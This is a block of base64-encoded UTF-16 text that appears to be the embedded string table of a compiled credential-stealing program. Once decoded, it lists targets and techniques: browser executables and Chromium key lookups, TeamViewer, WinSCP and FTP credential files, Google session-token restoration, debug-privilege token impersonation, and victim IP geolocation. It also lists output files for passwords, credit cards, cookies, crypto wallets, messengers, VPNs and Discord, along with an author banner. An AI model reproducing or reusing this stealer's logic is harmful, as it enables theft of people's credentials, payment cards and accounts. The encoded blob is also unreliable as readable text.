nAGkAbgBjAG8AZABlAAAlcgBlAGcAaQBzAHQAcgB5AF8AZwByAGUAZQBuAGkAbgBmAG8AABtyAGUAZwBpAHMAdAByAHkAXwBpAG4AZgBvAAAJTwByAGEAeQAAHVMAdQBuAGwAbwBnAGkAbgBDAGwAaQBlAG4AdAAAF3AAcgBvAGcAcgBhAG0AZABhAHQAYQAAJVMAdQBuAGwAbwBnAGkAbgBDAGwAaQBlAG4AdABMAGkAdABlAAAncwB5AHMAXwBsAGkAdABlAF8AYwBvAG4AZgBpAGcALgBpAG4AaQAAGXUAcwBlAHIAXwByAG8AYQBtAGkAbgBnAACAs1wAVwBpAG4AZABvAHcAcwBcAHMAeQBzAHQAZQBtADMAMgBcAGMAbwBuAGYAaQBnAFwAcwB5AHMAdABlAG0AcAByAG8AZgBpAGwAZQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATwByAGEAeQBcAFMAdQBuAGwAbwBnAGkAbgBDAGwAaQBlAG4AdABcAHMAeQBzAF8AYwBvAG4AZgBpAGcALgBpAG4AaQAAgMlDADoAXABcAFcAaQBuAGQAbwB3AHMAXABcAHMAeQBzAHQAZQBtADMAMgBcAFwAYwBvAG4AZgBpAGcAXABcAHMAeQBzAHQAZQBtAHAAcgBvAGYAaQBsAGUAXABcAEEAcABwAEQAYQB0AGEAXABcAFIAbwBhAG0AaQBuAGcAXABcAE8AcgBhAHkAXABcAFMAdQBuAGwAbwBnAGkAbgBDAGwAaQBlAG4AdABcAFwAcwB5AHMAXwBjAG8AbgBmAGkAZwAuAGkAbgBpAAAbcwB5AHMAdABlAG0AcAByAG8AZgBpAGwAZQAAI1MAdQBuAGwAbwBnAGkAbgBcAGkAbgBmAG8ALgB0AHgAdAAAEVMAbwB1AHIAYwBlADoAIAAADVAAYQB0AGgAOgAgAAArIAA9AD4AIABTAHUAbgBsAG8AZwBpAG4AXABpAG4AZgBvAC4AdAB4AHQAABVGAGEAcwB0AGMAbwBkAGUAOgAgAAAXRQBuAGMAcgB5AF8AcAB3AGQAOgAgAAAdUwB1AG4AbABvAGcAaQBuAGMAbwBkAGUAOgAgAAAlVABlAGEAbQBTAHAAZQBhAGsAIAAzACAAQwBsAGkAZQBuAHQAAAtjAGgAYQB0AHMAABNUAGUAYQBtAFMAcABlAGEAawAACyoALgB0AHgAdAAAHVQAZQBhAG0AUwBwAGUAYQBrAFwAewAwAH0AXAAAFVQAZQBhAG0AUwBwAGUAYQBrAFwAAA9jAGgAYQBuAG4AZQBsAAANcwBlAHIAdgBlAHIAACdTAE8ARgBUAFcAQQBSAEUAXABUAGUAYQBtAFYAaQBlAHcAZQByAAAVVABlAGEAbQBWAGkAZQB3AGUAcgAAL1QAZQBhAG0AVgBpAGUAdwBlAHIAXABSAGUAZwBpAHMAdAByAHkALgB0AHgAdAAAL1MATwBGAFQAVwBBAFIARQBcAFQAZQBhAG0AVgBpAGUAdwBlAHIAIAA9AD4AIAAAD0cASABJAFMATABFAFIAABd3AGMAeABfAGYAdABwAC4AaQBuAGkAADdUAG8AdABhAGwAIABDAG8AbQBtAGEAbgBkAGUAcgBcAHcAYwB4AF8AZgB0AHAALgBpAG4AaQAAH1QAbwB0AGEAbAAgAEMAbwBtAG0AYQBuAGQAZQByAABTUwBvAGYAdAB3AGEAcgBlAFwATQBhAHIAdABpAG4AIABQAHIAaQBrAHIAeQBsAFwAVwBpAG4AUwBDAFAAIAAyAFwAUwBlAHMAcwBpAG8AbgBzAABVUwBvAGYAdAB3AGEAcgBlAFwATQBhAHIAdABpAG4AIABQAHIAaQBrAHIAeQBsAFwAVwBpAG4AUwBDAFAAIAAyAFwAUwBlAHMAcwBpAG8AbgBzAFwAABFIAG8AcwB0AE4AYQBtAGUAABVQAG8AcgB0AE4AdQBtAGIAZQByAAATUwBlAHMAcwBpAG8AbgA6ACAAAA0KAFUAcgBsADoAIAAAJUgASwBFAFkAXwBDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgBcAAAvRgBUAFAALwBXAGkAbgBTAEMAUAAvAFMAZQBzAHMAaQBvAG4AcwAuAHQAeAB0AAANVwBpAG4AUwBDAFAAAANBAAADQgAAA0MAAANEAAADRQAAA0YAAAUxADAAAAUxADEAAAUxADIAAAUxADMAAAUxADQAAAUxADUAABFYAG0AYQBuAGEAZwBlAHIAACtYAG0AYQBuAGEAZwBlAHIAXABzAGUAcwBzAGkAbwBuAHMALgB0AHgAdAAACS4AeABzAGgAAAkuAHgAZgBwAAAZVgBlAHIAcwBpAG8AbgA9ACgALgAqACkAABNIAG8AcwB0AD0AKAAuACoAKQAAG1UAcwBlAHIATgBhAG0AZQA9ACgALgAqACkAABtQAGEAcwBzAHcAbwByAGQAPQAoAC4AKgApAAAHNQAuADAAAAM0AAADMwAAAzIAABshAFgAQABzACMAaAAkAGUAJQBsAF4AbAAmAAAHNQAuADEAAAc1AC4AMgAAAzUAAAM2AAAHNwAuADAAAAdNAEcAOgAACUMAUABVADoAAA1DAG8AcgBlAHMAOgAAC1YATwBMAFMAOgAAAywAAAtNAEEAQwBTADoAAAdNAE4AOgAAA3wAAAV4ADIAAD9TAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AAAXTQBhAGMAaABpAG4AZQBHAHUAaQBkAAAFWAA4AAARdwBpAG4AbABvAGcAbwBuAAA9HwRABD4ERgQ1BEEEQQQgAHcAaQBuAGwAbwBnAG8AbgAuAGUAeABlACAAPQQ1BCAAPQQwBDkENAQ1BD0EAS8eBEgEOAQxBDoEMAQgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AAS8eBEgEOAQxBDoEMAQgAEQAdQBwAGwAaQBjAGEAdABlAFQAbwBrAGUAbgBFAHgAAT0eBEgEOAQxBDoEMAQgAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQBMAG8AZwBnAGUAZABPAG4AVQBzAGUAcgABTx4ESAQ4BDEEOgQwBCAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgA6ACAAGgQ+BDQEIAA+BEgEOAQxBDoEOAQgAHsAMAB9AAEhUwBlAEQAZQBiAHUAZwBQAHIAaQB2AGkAbABlAGcAZQAAVx4ESAQ4BDEEOgQwBCAATABvAG8AawB1AHAAUAByAGkAdgBpAGwAZQBnAGUAVgBhAGwAdQBlADoAIAAaBD4ENAQgAD4ESAQ4BDEEOgQ4BCAAewAwAH0AAVkeBEgEOAQxBDoEMAQgAEEAZABqAHUAcwB0AFQAbwBrAGUAbgBQAHIAaQB2AGkAbABlAGcAZQBzADoAIAAaBD4ENAQgAD4ESAQ4BDEEOgQ4BCAAewAwAH0AAX9BAGQAagB1AHMAdABUAG8AawBlAG4AUAByAGkAdgBpAGwAZQBnAGUAcwAgADIENQRABD0EQwQ7BCAAQwRBBD8ENQRFBCwAIAA9BD4EIABDBEEEQgQwBD0EPgQyBDgEOwQgADoEPgQ0BCAAPgRIBDgEMQQ6BDgEIAB7ADAAfQABKWgAdAB0AHAAOgAvAC8AaQBjAGEAbgBoAGEAegBpAHAALgBjAG8AbQAAHVIAZQBxAHUAZQBzAHQAIABmAGEAaQBsAGUAZAAAVWgAdAB0AHAAOgAvAC8AaQBwAC0AYQBwAGkALgBjAG8AbQAvAGwAaQBuAGUALwA/AGYAaQBlAGwAZABzAD0AYwBvAHUAbgB0AHIAeQBDAG8AZABlAAEFWABYAAAZawAtAG0AZQBsAGUAbwBuAC4AZQB4AGUAAR90AGgAdQBuAGQAZQByAGIAaQByAGQALgBlAHgAZQAAG2kAYwBlAGQAcgBhAGcAbwBuAC4AZQB4AGUAABljAHkAYgBlAHIAZgBvAHgALgBlAHgAZQAAG2IAbABhAGMAawBoAGEAdwBrAC4AZQB4AGUAABlwAGEAbABlAG0AbwBvAG4ALgBlAHgAZQAAGWcAaABvAHMAdABlAHIAeQAuAGUAeABlAAATcwBpAGUAbABvAC4AZQB4AGUAABljAG8AbgBrAGUAcgBvAHIALgBlAHgAZQAAFW0AcwBlAGQAZwBlAC4AZQB4AGUAABluAGUAdABzAGMAYQBwAGUALgBlAHgAZQAAG3MAZQBhAG0AbwBuAGsAZQB5AC4AZQB4AGUAAB9zAGwAaQBtAGIAcgBvAHcAcwBlAHIALgBlAHgAZQAAL20AcwBlAGQAZwBlAF8AcAB3AGEAXwBsAGEAdQBuAGMAaABlAHIALgBlAHgAZQAAE2EAdgBhAG4AdAAuAGUAeABlAAATbwBwAGUAcgBhAC4AZQB4AGUAABdvAHAAZQByAGEAZwB4AC4AZQB4AGUAACVtAHMAZQBkAGcAZQB3AGUAYgB2AGkAZQB3ADIALgBlAHgAZQAAI20AcwBlAGQAZwBlAHcAZQBiAHYAaQBlAHcALgBlAHgAZQAAGWMAaAByAG8AbQBpAHUAbQAuAGUAeABlAAAXcwBsAGkAbQBqAGUAdAAuAGUAeABlAAAXYgByAG8AdwBzAGUAcgAuAGUAeABlAAAXdgBpAHYAYQBsAGQAaQAuAGUAeABlAAATYgByAGEAdgBlAC4AZQB4AGUAABFlAGQAZwBlAC4AZQB4AGUAABttAGkAYwByAG8AcwBvAGYAdAAuAGUAeABlAAAVZAByAGEAZwBvAG4ALgBlAHgAZQAAE3QAbwByAGMAaAAuAGUAeABlAAAVeQBhAG4AZABlAHgALgBlAHgAZQAAF3MAcAB1AHQAbgBpAGsALgBlAHgAZQAAGW4AaQBjAGgAcgBvAG0AZQAuAGUAeABlAAAhbQBzAGUAZABnAGUAXwBwAHIAbwB4AHkALgBlAHgAZQAAHWMAbwBjAGIAcgBvAHcAcwBlAHIALgBlAHgAZQAAEXUAcgBhAG4ALgBlAHgAZQAAGWMAaAByAG8AbQBvAGQAbwAuAGUAeABlAAARYQB0AG8AbQAuAGUAeABlAAAhYgByAGEAdgBlAGIAcgBvAHcAcwBlAHIALgBlAHgAZQAAE3MAdABlAGEAbQAuAGUAeABlAAAbYwByAHkAcAB0AG8AdABhAGIALgBlAHgAZQAAIWcAaABvAHMAdABiAHIAbwB3AHMAZQByAC4AZQB4AGUAABttAGEAZQBsAHMAdAByAG8AbQAuAGUAeABlAAATawBpAG4AegBhAC4AZQB4AGUAABVnAGwAbwBiAHUAcwAuAGUAeABlAAAVZgBhAGwAawBvAG4ALgBlAHgAZQAAJWUAbABlAG0AZQBuAHQAYgByAG8AdwBzAGUAcgAuAGUAeABlAAAXYwBvAGwAaQBiAHIAaQAuAGUAeABlAAATdwBoAGEAbABlAC4AZQB4AGUAACFhAHYAYQBzAHQAYgByAG8AdwBzAGUAcgAuAGUAeABlAAAbdQBjAGIAcgBvAHcAcwBlAHIALgBlAHgAZQAAF20AYQB4AHQAaABvAG4ALgBlAHgAZQAAE2IAbABpAHMAawAuAGUAeABlAAAbYQBvAGwAcwBoAGkAZQBsAGQALgBlAHgAZQAAIWIAYQBpAGQAdQBiAHIAbwB3AHMAZQByAC4AZQB4AGUAACdjAGMAbABlAGEAbgBlAHIAYgByAG8AdwBzAGUAcgAuAGUAeABlAAARaABvAGwAYQAuAGUAeABlAAATeAB2AGEAcwB0AC4AZQB4AGUAABdrAGkAbgBnAHAAaQBuAC4AZQB4AGUAABtxAHEAYgByAG8AdwBzAGUAcgAuAGUAeABlAAApcAByAGkAdgBhAHQAZQBfAGIAcgBvAHcAcwBpAG4AZwAuAGUAeABlAAAvYwBoAHIAbwBtAGUAXwBwAHcAYQBfAGwAYQB1AG4AYwBoAGUAcgAuAGUAeABlAAAhYwBoAHIAbwBtAGUAXwBwAHIAbwB4AHkALgBlAHgAZQAACTAALgAjACMAAAcgAEcAQgAAByAATQBCAAAHIABLAEIAAAUgAEIAAAUgACMAADVhAGIAYwBkAGUAZgBnAGgAaQBqAGsAbABtAG4AbwBwAHEAcgBzAHQAdQB2AHcAeAB5AHoAAAluAHUAbABsAAAFLAAgAACAiWgAdAB0AHAAcwA6AC8ALwBhAGMAYwBvAHUAbgB0AHMALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AbwBhAHUAdABoAC8AbQB1AGwAdABpAGwAbwBnAGkAbgA/AHMAbwB1AHIAYwBlAD0AYwBvAG0ALgBnAG8AbwBnAGwAZQAuAEQAcgBpAHYAZQAACVAATwBTAFQAAENhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AC0AdwB3AHcALQBmAG8AcgBtAC0AdQByAGwAZQBuAGMAbwBkAGUAZAABG0EAdQB0AGgAbwByAGkAegBhAHQAaQBvAG4AABlNAHUAbAB0AGkAQgBlAGEAcgBlAHIAIAAAgP9NAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAAxADAALgAwADsAIABXAGkAbgA2ADQAOwAgAHgANgA0ACkAIABBAHAAcABsAGUAVwBlAGIASwBpAHQALwA2ADAANQAuADEALgAxADUAIAAoAEsASABUAE0ATAAsACAAbABpAGsAZQAgAEcAZQBjAGsAbwApACAAYwBvAG0ALgBnAG8AbwBnAGwAZQAuAEQAcgBpAHYAZQAvADYALgAwAC4AMgAzADAAOQAwADMAIABpAFMATAAvADMALgA0ACAAKABnAHoAaQBwACkADQAKAAAhIgBzAHQAYQB0AHUAcwAiADoAIgAoAC4AKgA/ACkAIgAAFy4AZwBvAG8AZwBsAGUALgBjAG8AbQAADQkAVABSAFUARQAJAAAPCQBGAEEATABTAEUACQAAAwkAAA97ACgALgAqAD8AKQB9AAAdIgBuAGEAbQBlACIAOgAiACgALgAqAD8AKQAiAAAfIgB2AGEAbAB1AGUAIgA6ACIAKAAuACoAPwApACIAACEiAGQAbwBtAGEAaQBuACIAOgAiACgALgAqAD8AKQAiAAAdIgBwAGEAdABoACIAOgAiACgALgAqAD8AKQAiAAAfIgBpAHMAUwBlAGMAdQByAGUAIgA6AHQAcgB1AGUAACMiAGkAcwBIAHQAdABwAE8AbgBsAHkAIgA6AHQAcgB1AGUAAB0iAG0AYQB4AEEAZwBlACIAOgAoAFwAZAArACkAACUiAHAAcgBpAG8AcgBpAHQAeQAiADoAIgAoAC4AKgA/ACkAIgAAJyIAcwBhAG0AZQBQAGEAcgB0AHkAIgA6ACIAKAAuACoAPwApACIAACUiAHMAYQBtAGUAUwBpAHQAZQAiADoAIgAoAC4AKgA/ACkAIgAAHSIAaABvAHMAdAAiADoAIgAoAC4AKgA/ACkAIgAAHSIAdAB5AHAAZQAiADoAIgAoAC4AKgA/ACkAIgAALSIAZABpAHMAcABsAGEAeQBfAG4AYQBtAGUAIgA6ACIAKAAuACoAPwApACIAAC8iAGQAaQBzAHAAbABhAHkAXwBlAG0AYQBpAGwAIgA6ACIAKAAuACoAPwApACIAACciAHAAaABvAHQAbwBfAHUAcgBsACIAOgAiACgALgAqAD8AKQAiAAAfIgBzAGUAbABlAGMAdABlAGQAIgA6AHQAcgB1AGUAACciAGQAZQBmAGEAdQBsAHQAXwB1AHMAZQByACIAOgB0AHIAdQBlAAAhIgBhAHUAdABoAHUAcwBlAHIAIgA6ACgAXABkACsAKQAAKSIAdgBhAGwAaQBkAF8AcwBlAHMAcwBpAG8AbgAiADoAdAByAHUAZQAALyIAbwBiAGYAdQBzAGMAYQB0AGUAZABfAGkAZAAiADoAIgAoAC4AKgA/ACkAIgAAJSIAaQBzAF8AdgBlAHIAaQBmAGkAZQBkACIAOgB0AHIAdQBlAAAXUAByAG8AZAB1AGMAdABOAGEAbQBlAAATUgBlAGwAZQBhAHMAZQBJAGQAAB1EAGkAcwBwAGwAYQB5AFYAZQByAHMAaQBvAG4AAAMgAAAZQwB1AHIAcgBlAG4AdABCAHUAaQBsAGQAACVDAHUAcgByAGUAbgB0AEIAdQBpAGwAZABOAHUAbQBiAGUAcgAAB3gAOAA2AAAHeAA2ADQAADNDAHUAcgByAGUAbgB0AE0AYQBqAG8AcgBWAGUAcgBzAGkAbwBuAE4AdQBtAGIAZQByAAAzQwB1AHIAcgBlAG4AdABNAGkAbgBvAHIAVgBlAHIAcwBpAG8AbgBOAHUAbQBiAGUAcgAAD3sAMAB9AC4AewAxAH0AAB1DAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AABcKAE8AUwAgAEIAdQBpAGwAZAA6ACAAABUKAE8AUwAgAEEAcgBjAGgAOgAgAAARMAAwADAANgAxADUANgAxAAADKAAADVUATgBJAFEAVQBFAAANLgB0AG0AcABkAGIAABNhAGwAZwBvAHIAaQB0AGgAbQAAM0EAbABnAG8AcgBpAHQAaABtACAAYwBhAG4AbgBvAHQAIABiAGUAIABuAHUAbABsAC4AADFQAGEAcwBzAHcAbwByAGQAIABjAGEAbgBuAG8AdAAgAGIAZQAgAG4AdQBsAGwALgAACXMAYQBsAHQAAClTAGEAbAB0ACAAYwBhAG4AbgBvAHQAIABiAGUAIABuAHUAbABsAC4AACtEAGUAcgBpAHYAZQBkACAAawBlAHkAIAB0AG8AbwAgAGwAbwBuAGcALgAAB3YAMgAwAAAHdgAxADAAADlLAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADIANQA2ACAAYgBpAHQAcwAuAABrQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAAdABhAGcAIABkAG8AZQBzACAAbgBvAHQAIABtAGEAdABjAGgALgAgAEQAZQBjAHIAeQBwAHQAaQBvAG4AIABmAGEAaQBsAGUAZAAuAAAVUwBFAFEAVQBFAE4AQwBFACAAewAADXsAMAA6AFgAMgB9AAATCQBJAE4AVABFAEcARQBSACAAABsJAE8AQwBUAEUAVABTAFQAUgBJAE4ARwAgAAAlCQBPAEIASgBFAEMAVABJAEQARQBOAFQASQBGAEkARQBSACAAACtVAHMAZQByAEsAZQB5ACAAaQBzACAAdABvAG8AIABzAGgAbwByAHQALgAAKVUAcwBlAHIASwBlAHkAIABpAHMAIAB0AG8AbwAgAGwAbwBuAGcALgAAC2sAZQB5ADMAMgAAKUsAZQB5ACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgAGIAeQB0AGUAcwAACWkAdgAxADIAACdJAFYAIABtAHUAcwB0ACAAYgBlACAAMQAyACAAYgB5AHQAZQBzAAAVYwBpAHAAaABlAHIAdABlAHgAdAAAB3QAYQBnAAApVABhAGcAIABtAHUAcwB0ACAAYgBlACAAMQA2ACAAYgB5AHQAZQBzAABvQwBoAGEAQwBoAGEAMgAwAC0AUABvAGwAeQAxADMAMAA1ACAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAAZgBhAGkAbABlAGQAIAAoAHQAYQBnACAAbQBpAHMAbQBhAHQAYwBoACkALgABUx4ESAQ4BDEEOgQwBCAATgBDAHIAeQBwAHQATwBwAGUAbgBTAHQAbwByAGEAZwBlAFAAcgBvAHYAaQBkAGUAcgA6ACAAGgQ+BDQEIAB7ADAAfQABOx4ESAQ4BDEEOgQwBCAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQA6ACAAGgQ+BDQEIAB7ADAAfQABYx4ESAQ4BDEEOgQwBCAAPgQ/BEAENQQ0BDUEOwQ1BD0EOARPBCAAQAQwBDcEPAQ1BEAEMAQgAE4AQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAOgAgABoEPgQ0BCAAewAwAH0AATseBEgEOAQxBDoEMAQgAE4AQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAOgAgABoEPgQ0BCAAewAwAH0AAQltAGUAdABhAAApbABvAGMAYQBsAF8AZQBuAGMAcgB5AHAAdABvAHIAXwBkAGEAdABhAAAFWAAyAABTIgBhAHAAcABfAGIAbwB1AG4AZABfAGUAbgBjAHIAeQBwAHQAZQBkAF8AawBlAHkAIgBcAHMAKgA6AFwAcwAqACIAKABbAF4AIgBdACsAKQAiAAAvIgBlAG4AYwByAHkAcAB0AGUAZABfAGsAZQB5ACIAOgAiACgALgAqAD8AKQAiAABPTQBpAGMAcgBvAHMAbwBmAHQAIABTAG8AZgB0AHcAYQByAGUAIABLAGUAeQAgAFMAdABvAHIAYQBnAGUAIABQAHIAbwB2AGkAZABlAHIAACNHAG8AbwBnAGwAZQAgAEMAaAByAG8AbQBlAGsAZQB5ADEAAEFDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwATQBvAHoAaQBsAGwAYQAgAEYAaQByAGUAZgBvAHgAAAlQAEEAVABIAAADOwAAEW0AZQB0AGEARABhAHQAYQAALTIAQQA4ADYANAA4ADgANgBGADcAMABEADAAMQAwAEMAMAA1ADAAMQAwADMAABVJAFMATwAtADgAOAA1ADkALQAxAAEdcABhAHMAcwB3AG8AcgBkAC0AYwBoAGUAYwBrAAElMgBBADgANgA0ADgAOAA2AEYANwAwAEQAMAAxADAANQAwAEQAABVuAHMAcwBQAHIAaQB2AGEAdABlAAAReQB5AHkAeQAtAE0ALQBkAAELSABfAG0AXwBzAAAFDQAKAAAJVQBSAEwAOgAAE0gAbwBzAHQAbgBhAG0AZQA6AAATVQBzAGUAcgBuAGEAbQBlADoAABNQAGEAcwBzAHcAbwByAGQAOgAAOUEAcABwAGwAaQBjAGEAdABpAG8AbgA6ACAAQgByAG8AdwBzAGUAcgAvAEwAbwBnAGkAbgBzAC8AABtQAGEAcwBzAHcAbwByAGQAcwAuAHQAeAB0AAAZQwByAGUAZABpAHQAQwBhAHIAZABzAC8AAB9DAHIAZQBkAGkAdABDAGEAcgBkAHMALgB0AHgAdAAAQ0wAbwBnACAAZABhAHQAZQA6ACAAewAwADoAZABkACAATQBNAE0AIAB5AHkAIABIAEgAOgBtAG0AfQAgAE0AUwBLAAAZVAByAGEAZgBmAGkAYwA6ACAAcwByAGMAAA1IAFcASQBEADoAIAAAE0MAbwB1AG4AdAByAHkAOgAgAAAJSQBQADoAIAAAIVMAeQBzAHQAZQBtACAATABhAG4AZwB1AGEAZwBlADoAABVQAHIAbwBjAGUAcwBzAG8AcgA6AAAdSQBuAHMAdABhAGwAbABlAGQAIABSAEEATQA6AAAXTwBTACAAUAByAG8AZAB1AGMAdAA6AAATTwBTACAAQgB1AGkAbABkADoAABFPAFMAIABBAHIAYwBoADoAABNDAFAAVQAgAE4AYQBtAGUAOgAAHUwAbwBnAGkAYwBhAGwAIABDAG8AcgBlAHMAOgAAFVIAQQBNACAAVABvAHQAYQBsADoAAB1SAEEATQAgAEEAdgBhAGkAbABhAGIAbABlADoAAAlHAFAAVQA6AAAdQwBvAG0AcAB1AHQAZQByACAATgBhAG0AZQA6AAAZRABvAG0AYQBpAG4AIABOAGEAbQBlADoAABVNAGEAYwBoAGkAbgBlAEkARAA6AAAZUAByAG8AZAB1AGMAdAAgAEsAZQB5ADoAAAtVAHMAZQByADoAABFNAGEAYwBoAGkAbgBlADoAAAlOAG8AdwA6AAAVSQBuAHAAdQB0ACAASQBTAE8AOgAAC0gAdwBpAGQAOgAAFUMAbABpAHAAYgBvAGEAcgBkADoAABlFAHgAdABlAHIAbgBhAGwAIABJAFAAOgAAGUkAbgB0AGUAcgBuAGEAbAAgAEkAUAA6AAAhRABlAGYAYQB1AGwAdAAgAEcAYQB0AGUAdwBhAHkAOgAAGVUAcwBlAHIAIABEAG8AbQBhAGkAbgA6AAAZQwBMAFIAIABWAGUAcgBzAGkAbwBuADoAACVPAHAAZQByAGEAdABpAG8AbgAgAFMAeQBzAHQAZQBtADoAIAAAF1AAcgBvAGMAZQBzAHMAbwByADoAIAAAH1IAQQBNACAAVABvAHQAYQBsACAAKABNAEIAKQA6AAAXVQBzAGUAcgAgAE4AYQBtAGUAOgAgAAAfQwBvAG0AcAB1AHQAZQByACAATgBhAG0AZQA6ACAAABstAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAAEnVQBzAGUAcgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4ALgB0AHgAdAAAD3sAMAB9AD0AewAxAH0AAB9FAG4AdgBpAHIAbwBuAG0AZQBuAHQALgB0AHgAdAAAIVAAYQBzAHMAdwBvAHIAZAA6AFwAcwAqACgALgArACkAABNCAHIAdQB0AGUALgB0AHgAdAAAbSgAPwA6AFUAUgBMADoAfABIAG8AcwB0AG4AYQBtAGUAOgApAFwAcwAqACgAPwA6AGgAdAB0AHAAcwA/ADoALwAvACkAPwAoAD8AOgB3AHcAdwBcAC4AKQA/ACgAWwBeAC8AXABzAF0AKwApAACAgSgAPwA6AFwALgApAD8AKABbAGEALQB6AEEALQBaADAALQA5AF0AWwBhAC0AegBBAC0AWgAwAC0AOQAtAF0AewAxACwANgAxAH0AWwBhAC0AegBBAC0AWgAwAC0AOQBdAD8AXAAuAFsAYQAtAHoAQQAtAFoAXQB7ADIALAB9ACkAARVMAG8AZwBpAG4ARABhAHQAYQA6AAAnewAwAH0AKQAgAFsAewAxAH0AXQAgAHsAMgB9ACgAewAzAH0AKQAAEUMAbwBvAGsAaQBlAHMAOgAAI0QAbwBtAGEAaQBuAEQAZQB0AGUAYwB0AHMALgB0AHgAdAAABy0ALQAtAAEpewAwAH0AKQAgAHsAMQB9ACAAWwB7ADIAfQBdACAALQAgAHsAMwB9AAGCIw0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIABfAF8AIAAgAF8AXwAgACAAIAAgACAAIAAgACAAIAAgACAAXwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAADQAKACAAXAAgAFwALwAgAC8AXwBfAF8AIAAgAF8AIABfAF8AIAAoAF8AKQBfACAAIAAgAF8AIABfACAAXwBfACAAXwBfAF8AIAAgAA0ACgAgACAAXAAgACAALwAvACAAXwAgAFwAfAAgACcAXwBfAHwAfAAgAHwAIAB8ACAAfAAgAHwAIAAnAF8AIABgACAAXwAgAFwAIAANAAoAIAAgAC8AIAAgAFwAIAAoAF8AKQAgAHwAIAB8ACAAIAAgAHwAIAB8ACAAfABfAHwAIAB8ACAAfAAgAHwAIAB8ACAAfAAgAHwADQAKACAALwBfAC8AXABfAFwAXwBfAF8ALwB8AF8AfAAgACAAIAB8AF8AfABcAF8AXwAsAF8AfABfAHwAIAB8AF8AfAAgAHwAXwB8AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAFhIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAdgBlAGwAbwBwAGUAcgAgAEAAYQBlAHMAeABvAHIAADFbAEsAZQB5AHMAXQAgACAAWwAtAC0AewAwAH0ALQAtAF0AIAAgAFsAewAxAH0AXQABESAAIAAgACAAIAAgACAAWwAABV0AIAAAOVsAQgByAG8AdwBzAGUAcgBzAF0AIAAgAFsALQAtAHsAMAB9AC0ALQBdACAAIABbAHsAMQB9AF0AAQkgACAALQAgAAEpIAAgACAAIAAgACAAIABbAEMAbwBvAGsAaQBlAHMAIAB7ADAAfQBdAAAtIAAgACAAIAAgACAAIABbAFAAYQBzAHMAdwBvAHIAZABzACAAewAwAH0AXQAAMSAAIAAgACAAIAAgACAAWwBDAHIAZQBkAGkAdABDAGEAcgBkAHMAIAB7ADAAfQBdAAArIAAgACAAIAAgACAAIABbAEEAdQB0AG8ARgBpAGwAbAAgAHsAMAB9AF0AADMgACAAIAAgACAAIAAgAFsAUgBlAHMAdABvAHIAZQBUAG8AawBlAG4AIAB7ADAAfQBdAAA3IAAgACAAIAAgACAAIABbAE0AYQBzAGsAQwByAGUAZABpAHQAQwBhAHIAZAAgAHsAMAB9AF0AAC8gACAAIAAgACAAIAAgAFsATQBhAHMAawBlAGQASQBiAGEAbgAgAHsAMAB9AF0AAEFbAEEAcABwAGwAaQBjAGEAdABpAG8AbgBzAF0AIAAgAFsALQAtAHsAMAB9AC0ALQBdACAAIABbAHsAMQB9AF0AARcgACAAIAAgACAAWwBOAGEAbQBlACAAABMgACAAIAAgACAAIAAgAC0AIAABM1sARwBhAG0AZQBzAF0AIAAgAFsALQAtAHsAMAB9AC0ALQBdACAAIABbAHsAMQB9AF0AAT1bAE0AZQBzAHMAYQBuAGcAZQByAHMAXQAgACAAWwAtAC0AewAwAH0ALQAtAF0AIAAgAFsAewAxAH0AXQABMVsAVgBwAG4AcwBdACAAIABbAC0ALQB7ADAAfQAtAC0AXQAgACAAWwB7ADEAfQBdAAE3WwBDAHIAeQBwAHQAbwBDAGgAcgBvAG0AaQB1AG0AXQAgACAAWwAtAC0AewAwAH0ALQAtAF0AATVbAEMAcgB5AHAAdABvAEQAZQBzAGsAdABvAHAAXQAgACAAWwAtAC0AewAwAH0ALQAtAF0AATNbAEYAaQBsAGUAcwBHAHIAYQBiAGIAZQByAF0AIAAgAFsALQAtAHsAMAB9AC0ALQBdAAEXSQBuAHQAZQBsAEkAWAAuAHQAeAB0AAA3RQBuAHQAcgB5ACAAbgBhAG0AZQAgAGkAcwAgAG4AdQBsAGwAIABvAHIAIABlAG0AcAB0AHkAACVJAG4AdgBhAGwAaQBkACAAZQBuAHQAcgB5ACAAbgBhAG0AZQAAF0kAbgBNAGUAbQBvAHIAeQBaAGkAcAAAH3MAbwB1AHIAYwBlAEQAaQByAGUAYwB0AG8AcgB5AAAPIABTAHQAYQBiAGwAZQAAEVwAZABpAHMAYwBvAHIAZAAAHVwAZABpAHMAYwBvAHIAZABjAGEAbgBhAHIAeQAAFVwATABpAGcAaAB0AGMAbwByAGQAABdcAGQAaQBzAGMAbwByAGQAcAB0AGIAAB9cAEwAdQBsAHUAbQBpAC0AYgByAG8AdwBzAGUAcgABH1wAawBpAG4AZwBwAGkAbgBiAHIAbwB3AHMAZQByAAAhX